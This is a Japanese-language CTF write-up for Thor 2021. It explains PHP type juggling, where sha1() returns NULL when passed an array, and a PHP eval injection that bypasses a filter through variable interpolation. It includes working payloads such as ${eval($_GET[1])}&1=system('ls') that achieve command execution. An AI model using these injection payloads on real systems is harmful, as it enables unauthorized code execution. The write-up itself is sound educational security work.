Thor 2021 CTF
Webを2問とOSINTを1問解きました。
Web問のwriteupを記載します。
Web
Tricks 1
解法
phpにおけるsha1関数の仕様を確認します。
https://www.php.net/manual/ja/function.sha1.php
戻り値はsha1ハッシュを文字列で返す。と記載があります。
そのまんまですね。
次に、文字列以外、例えば配列をsha1関数に渡すとどうなるかを試してみます。
<?php
$ex=[1,2,3];
echo gettype($ex);
echo sha1($ex);
?>
上記コードの実行結果:
array
sha1関数の戻り値がないですね。
データ型を確認します。
<?php
$ex=[1,2,3];
echo gettype($ex);
echo gettype(sha1($ex));
?>
arrayNULL
NULLが返ってきました。
ここでは検証しませんが、md5も同様でした。
配列を送ればFlagを獲得できそうです。
Phpbaby
問題
ルートディレクトリにあるFlagを獲得せよ
※問題文が読めなくなってしまったので本当の問題文は違いますが、ニュアンスは同じです。
解法
HTMLソースを確認します。
<!-- Access To Source Code Is Not Allowed! -->
<!DOCTYPE html>
<html>
<head>
<title>lettercrap.js demo</title>
<script src="/cdn-cgi/apps/head/xnSNotsdYPTd4Qn38KNoSYKvO4k.js"></script><script src='lettercrap.js'></script>
<link rel='stylesheet' href='lettercrap.css'/>
<style>
body {
text-align: center;
font-family: sans-serif;
}
p {
max-width: 60%;
margin: auto;
}
[data-letter-crap] {
margin: auto;
margin-top: 3em;
margin-bottom: 5em;
}
</style>
</head>
<body>
<div data-letter-crap='SBCTF.png' data-lettercrap-words='CTF PHP eval robots' style='width: 70%' data-lettercrap-aspect-ratio='0.3'></div>
</body>
</html>
eval,robotsなどの単語を見つけることが出来ます。
これがヒントでした。
robots.txtを確認してみます。
user-agent: *
disallow: /Source_Code_Backup
/Source_Code_Backupにアクセスすると、ソースコードの一部を確認できます。
<!--
// Source Code Backup:
$SBCTF=@(string)$_GET['SBCTF'];
filter($boycott, $SBCTF);
eval('$SBCTF="'.addslashes($SBCTF).'";');
-->
evalを利用してsystemコマンドを呼び出せればFlagを獲得できそうです。
変数展開を利用すれば任意の関数を実行が出来ると考え、以下のコードを入力してみます。
SBCTF=${phpinfo()}
上手く表示することが出来ました。
怒られました。どうやらfilterにはじかれたみたいです。
このfilterでは$SBCTFの値しか確認していないようなので、以下のコードで、system関数の実行を試みます。
evalで括っているのは、$_GETの変数展開がうまくいかなかったからです。evalで括ることで変数として認識されました。
SBCTF=${eval($_GET[1])}&1=system('ls');
上手くいきました。
ルートディレクトリを見に行くとFlagがありました。
参考:
https://0xalwayslucky.gitbook.io/cybersecstack/web-application-security/php
感想
解いたWeb問はphpの知識を問うような問題になっており、
解く過程でphpが扱う関数への理解を深めることが出来ました。
また、調査するにあたり、PaizaCloudが非常に便利でした。
簡単に環境を用意できるのはありがたいですね。。。